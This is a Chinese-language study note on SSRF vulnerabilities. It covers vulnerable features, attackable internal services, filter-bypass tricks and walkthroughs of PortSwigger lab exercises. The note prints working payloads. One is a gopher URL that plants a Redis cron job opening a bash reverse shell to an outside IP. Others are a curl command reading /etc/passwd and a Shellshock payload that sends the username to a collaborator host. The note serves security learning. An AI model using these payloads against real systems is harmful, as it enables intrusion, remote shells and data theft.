SSRF学习笔记
文章目录
什么是 SSRF
服务器端请求伪造(也称为 SSRF)是一种 Web 安全漏洞,允许攻击者诱导服务器端应用程序向非预期位置发出请求。
在典型的 SSRF 攻击中,攻击者可能会导致服务器与组织基础设施内的仅限内部服务建立连接。在其他情况下,他们可能会强制服务器连接到任意外部系统,从而可能泄露授权凭据等敏感数据。
SSRF 攻击的影响是什么
成功的 SSRF 攻击通常会导致未经授权的操作或访问组织内的数据,无论是在易受攻击的应用程序本身还是在应用程序可以与之通信的其他后端系统中。在某些情况下,SSRF 漏洞可能允许攻击者执行任意命令。
导致与外部第三方系统连接的 SSRF 漏洞利用可能会导致恶意攻击,这些攻击似乎源自托管易受攻击应用程序的组织。
常见功能点
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
利用方式
内网服务
- Apache Hadoop远程命令执行
- axis2-admin部署Server命令执行
- Confluence SSRF
- counchdb WEB API远程命令执行
- dict
- docker API远程命令执行
- Elasticsearch引擎Groovy脚本命令执行
- ftp / ftps(FTP爆破)
- glassfish任意文件读取和war文件部署间接命令执行
- gopher
- HFS远程命令执行
- http、https
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- Java调试接口命令执行
- JBOSS远程Invoker war命令执行
- Jenkins Scripts接口命令执行
- ldap
- mongodb
- php_fpm/fastcgi 命令执行
- rtsp - smb/smbs(连接SMB)
- sftp
- ShellShock 命令执行
- Struts2 命令执行
- telnet
- tftp(UDP协议扩展)
- tomcat命令执行
- WebDav PUT上传任意文件
- WebSphere Admin可部署war间接命令执行
- zentoPMS远程命令执行
Redis利用
- 写ssh公钥
- 写crontab
- 写WebShell
- Windows写启动项
- 主从复制加载 .so 文件
- 主从复制写无损文件
云主机
在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。
绕过小技巧
0X00 @绕过
http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的
该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。
注:有些浏览器是有确认提示又一些没有提示直接跳转
0X01 ip地址转换成进制绕过
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
Example: 115.239.210.26 = 16373751032
0X02 利用302 Redirect绕过
当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL
那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。
我们继续构造一个302跳转服务,代码如下302.php:
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
利用测试
# dict protocol - 探测Redis
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
0X03 利用非HTTP协议绕过
file:///
dict://
sftp://
ftp://
tftp://
ldap://
gopher://
0X04 短网址绕过
网上有很多将网址转换为短网址(短链接)的工具网站,黑客会利用短网址来绕过情报检测。
0X05 基于快速网址绕过
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/
0X06 添加端口可能绕过匹配正则
127.0.0.1:80
0X07 利用http://xip.io和xip.name绕过
10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io= 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
0X08 利用句号绕过
127。0。0。1 >>> 127.0.0.1
0X09 DNS Rebinding(DNS重绑定)绕过
请参考:https://xz.aliyun.com/t/7495
靶场练习(portswigger)
针对本地服务器的基本SSRF
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://localhost/admin
的管理员界面,并删除用户carlos
。
wp
直接访问/admin,发现没有权限。
访问一个产品,点击"检查库存",拦截请求,并将其发送到repeater
发现post传入请求路径,准备修改为/admin
读取HTML以标识要删除目标用户的URL,该URL为:
http://localhost/admin/delete?username=carlos
在stockApi参数中提交此URL,以传递SSRF攻击。
针对其他后端系统的 SSRF 攻击
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://localhost/admin
的管理员界面,并删除用户carlos
。
wp
访问一个产品,点击"检查库存",在Burp Suite中拦截请求
进行攻击
并将其发送到Burp Intruder
将 stockApi 参数更改为http://192.168.0.1:8080/admin
爆破c段即可
右键此请求,将其发送到Burp Repeater,并将stockApi中的路径更改为:
http://192.168.0.144:8080/admin/delete?username=carlos
绕过常见的 SSRF 防御
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://localhost/admin
的管理员界面,并删除用户carlos
。 开发者已经部署了两个你需要绕过的弱反SSRF防御。
wp
访问一个产品,点击"检查库存",使用BP拦截请求,并将其发送到repeater
改变stockApi参数为
http://127.0.0.1/
发现被拦截
使用 ip地址转换绕过
http://127.1/
将URL更改为
http://127.1/admin
发现被拦截,此时拦截的只能是admin
将"a"进行双URL编码为%25%36%65(admin中任何字母都行)
http://127.1/admi%25%36%65
删除即可
http://127.1/admi%25%36%65/delete?username=carlos
带有基于黑名单的输入过滤器的SSRF绕过
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://localhost/admin
的管理员界面,并删除用户carlos
。
wp
带有基于白名单的输入过滤器的 SSRF
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://localhost/admin
的管理员界面,并删除用户carlos
。 开发人员部署了一个反SSRF防御,您需要绕过。
wp
常规操作
提示为必须是stock.weliketoshop.net,那么就@绕过
返回500,结果表明URL解析器支持嵌入式凭据。
下面测试一下#号
#,井号:表示网页中的一个位置,被称之为锚点,常用于某个网页间不同位置的跳转,简单的说就是在一个网页中,URL 不变的情况下,通过添加“#buy”的字符在 URL 最后可以跳转到当前网页中已经定义好的锚点(id=“buy”)位置;同样#的改变也会增加浏览器的历史记录,也就是说我们可以通过“后退”按钮回到上一个位置,而熟悉网页开发的朋友们可能也会用于 ajax 的一些操作中,以此来实现不同的访问状态和改变页面访问内容,从而也可以实现那种无刷新载入的效果。
被拒绝,双URL将#编码为%2523进行测试
成功!
完成实验
要访问管理界面并删除目标用户,将URL更改为:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
通过开放重定向漏洞绕过过滤器的 SSRF
描述:
本实验具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查URL以访问
http://192.168.0.12:8080/admin
的管理员界面,并删除用户carlos
。 库存检查器被限制为只能访问本地应用程序,因此您需要首先找到影响应用程序的打开重定向。
wp
常规操作被拦截
单击“下一个产品”并观察path
参数被放置到重定向响应的Location标头中,导致打开重定向。
创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi
参数:
/product/nextProduct?path=http://192.168.0.12:8080/admin
修改删除目标用户的路径:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
跟随重定向并显示管理页面
(但是重定向没有真真的被执行)
添加重定向参数,并使用其他方式提交(因为GET提交的重定向会检查参数)
请求头:
POST /product/stock HTTP/1.1
请求数据:
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
最后
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
带外检测的盲SSRF
描述:
本网站使用分析软件,当加载产品页面时,该软件会获取Referer标题中指定的URL。
要解决实验问题,请使用此功能向公共Burp Collaborator服务器发出HTTP请求。
wp
转到中继器选项卡。选择Referer标题,右键单击并选择“插入Collaborator有效载荷”,以将原始域替换为Burp Collaborator生成的域。发送请求。
转到Collaborator选项卡,再刷新,查看交互信息(看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的)
可以关看到一些DNS和HTTP交互,这些交互是应用程序启动的,作为负载的结果。
使用 Shellshock 利用盲SSRF
描述:
本网站使用分析软件,当加载产品页面时,该软件会获取Referer标题中指定的URL。
要解决实验问题,请使用此功能对端口8080上
192.168.0.X
范围内的内部服务器执行盲SSRF攻击。在盲目攻击中,使用Shellshock有效负载攻击内部服务器,以泄露操作系统用户的名称。
wp
在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展
将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。
浏览网站,当加载产品页面时,它通过Referer头触发了与Burp Collaborator的HTTP交互
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
ssrf盲测
使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).8nwtix7qg3lsarbt1kdmysj81z7qvjj8.oastify.com
然后爆破c段
击完成后,返回Collaborator选项卡,然后单击"立即轮询"。看到DNS交互
提交操作系统用户的名称,完成实验。
参考链接
https://www.ddosi.org/ssrf-lab/
https://xz.aliyun.com/t/2115
https://websec.readthedocs.io/zh/latest/vuln/ssrf.html
https://zhuanlan.zhihu.com/p/73736127
https://xz.aliyun.com/t/7495
http://t.csdn.cn/NFdy7